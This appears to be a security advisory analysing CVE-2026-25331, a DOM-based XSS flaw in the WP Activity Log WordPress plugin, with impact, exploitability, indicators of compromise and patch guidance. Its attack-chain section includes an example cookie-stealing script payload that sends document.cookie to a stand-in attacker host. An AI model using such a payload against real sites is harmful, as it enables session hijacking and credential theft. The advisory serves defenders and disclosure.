CVE-2026-25331: 
WordPress vulnerability analysis and mitigation

CVE-2026-25331 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Melapress WP Activity Log WordPress plugin (also known as wp-security-audit-log). It affects all versions up to and including 5.5.4, with version 5.6.0 released as the patched fix. The vulnerability was reported by researcher Steven Julian on January 8, 2026, and published on February 14–19, 2026. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically manifesting as DOM-Based XSS (CAPEC-588). The flaw exists within the WP Activity Log plugin's client-side JavaScript, where user-controllable input is written to the DOM without adequate sanitization or encoding. Exploitation requires the attacker to have at least Contributor-level privileges on the WordPress site, and a privileged user must interact with a crafted page or link for the attack to succeed (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious content. The changed scope (S:C) in the CVSS vector indicates the impact can extend beyond the plugin itself to affect the broader WordPress environment and its users (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for at least Contributor-level access and user interaction, limiting its practical attack surface (Patchstack, Feedly).

1. Gain Contributor-level access: Register or compromise a WordPress account with at least Contributor privileges on the target site running WP Activity Log <= 5.5.4.
2. Craft a malicious payload: Construct a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to execute when rendered in the plugin's activity log interface.
3. Inject the payload: Submit the crafted input through a plugin-monitored action or field that gets logged by WP Activity Log, such that the malicious content is stored or reflected in the activity log view.
4. Social engineering: Trick a higher-privileged user (e.g., Administrator) into viewing the activity log page where the payload is rendered, triggering DOM-based script execution in their browser.
5. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data to an attacker-controlled server (Patchstack).

• Logs: WordPress access logs showing unusual requests to WP Activity Log admin pages from low-privileged accounts; unexpected JavaScript-like strings in log entries or plugin database tables.
• Network: Outbound browser requests from administrator sessions to unknown external domains shortly after viewing the WP Activity Log dashboard; suspicious document.cookie or XMLHttpRequest patterns in browser network traffic.
• File System: Unexpected modifications to plugin files in wp-content/plugins/wp-security-audit-log/ that could indicate tampering.
• Database: Malicious script tags or encoded JavaScript payloads stored in the plugin's activity log database tables (e.g., wsal_* tables).

The vendor Melapress has released version 5.6.0 of the WP Activity Log plugin, which resolves this vulnerability. Site administrators should update the plugin to version 5.6.0 or later immediately via the WordPress dashboard or manually. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard. If an immediate update is not possible, restricting Contributor-level user registration and limiting access to the WordPress admin area can reduce exposure (Patchstack).

Patchstack, which operates an Active Vulnerability Disclosure Program (VDP) with Melapress, classified this vulnerability as low priority with unlikely exploitation impact. The vulnerability was credited to researcher Steven Julian and disclosed responsibly through Patchstack's coordinated disclosure process. Wordfence also noted this vulnerability in their weekly WordPress vulnerability report for the period of February 9–15, 2026 (Patchstack, Wordfence).